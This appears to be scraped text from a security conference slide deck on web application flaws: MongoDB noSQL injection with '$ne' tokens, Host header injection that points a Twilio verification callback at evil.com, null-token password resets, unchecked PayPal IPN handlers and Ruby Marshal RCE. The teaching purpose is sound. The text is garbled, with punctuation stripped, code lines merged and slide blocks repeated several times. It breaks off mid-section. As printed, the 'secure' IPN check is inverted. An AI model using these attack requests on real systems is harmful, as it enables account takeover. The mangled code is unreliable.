193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
noSQL ODM complex queries
Developers can write ldquocomplexrdquo ODM queries using Ruby Hashes as parameters
user = Userswhere(user_id params[user_id]country $ne Argentina)first
users = Userswhere(user_id $in [123 456 789])
Decode to Hash leads to noSQL injection
Itrsquos possible to bypass the token validation
post registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]confirmation_token params[token]
)first
POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson
token $ne nomatch user_id 3578
ldquoUser controlled inputrdquoto_s
Fixing this vulnerability is quick and easy
Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar
get registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]to_sconfirmation_token params[token]to_s
)first
Call me to verify my identity 1
The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership
HTTP requestVerify my phone +1 (541) 754-3010
Call me to verify my identity 2
Call +1 (541) 754-3010Send code 357896 in audio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
Call me to verify my identity 3
HTTP requestCode is 357896
HTTP responseWelcome admin
Bypass phone verification
Hacker wants to bypass phone verification ideas
Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio
Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need
UUID4
Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced
httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479
Zoom into HTTP request to Twilio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5
phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5
Insecure Twilio API call
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
import requests
def start_call(phone callback_url)requestspost(httpsapitwiliocomcall
data=phone_number phoneaudio_callback callback_url)
hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Decode to Hash leads to noSQL injection
Itrsquos possible to bypass the token validation
post registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]confirmation_token params[token]
)first
POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson
token $ne nomatch user_id 3578
ldquoUser controlled inputrdquoto_s
Fixing this vulnerability is quick and easy
Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar
get registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]to_sconfirmation_token params[token]to_s
)first
Call me to verify my identity 1
The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership
HTTP requestVerify my phone +1 (541) 754-3010
Call me to verify my identity 2
Call +1 (541) 754-3010Send code 357896 in audio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
Call me to verify my identity 3
HTTP requestCode is 357896
HTTP responseWelcome admin
Bypass phone verification
Hacker wants to bypass phone verification ideas
Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio
Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need
UUID4
Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced
httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479
Zoom into HTTP request to Twilio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5
phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5
Insecure Twilio API call
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
import requests
def start_call(phone callback_url)requestspost(httpsapitwiliocomcall
data=phone_number phoneaudio_callback callback_url)
hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
ldquoUser controlled inputrdquoto_s
Fixing this vulnerability is quick and easy
Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar
get registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]to_sconfirmation_token params[token]to_s
)first
Call me to verify my identity 1
The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership
HTTP requestVerify my phone +1 (541) 754-3010
Call me to verify my identity 2
Call +1 (541) 754-3010Send code 357896 in audio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
Call me to verify my identity 3
HTTP requestCode is 357896
HTTP responseWelcome admin
Bypass phone verification
Hacker wants to bypass phone verification ideas
Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio
Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need
UUID4
Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced
httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479
Zoom into HTTP request to Twilio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5
phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5
Insecure Twilio API call
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
import requests
def start_call(phone callback_url)requestspost(httpsapitwiliocomcall
data=phone_number phoneaudio_callback callback_url)
hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Call me to verify my identity 1
The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership
HTTP requestVerify my phone +1 (541) 754-3010
Call me to verify my identity 2
Call +1 (541) 754-3010Send code 357896 in audio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
Call me to verify my identity 3
HTTP requestCode is 357896
HTTP responseWelcome admin
Bypass phone verification
Hacker wants to bypass phone verification ideas
Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio
Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need
UUID4
Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced
httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479
Zoom into HTTP request to Twilio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5
phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5
Insecure Twilio API call
HTTP requestPlease call +1 (541) 754-3010
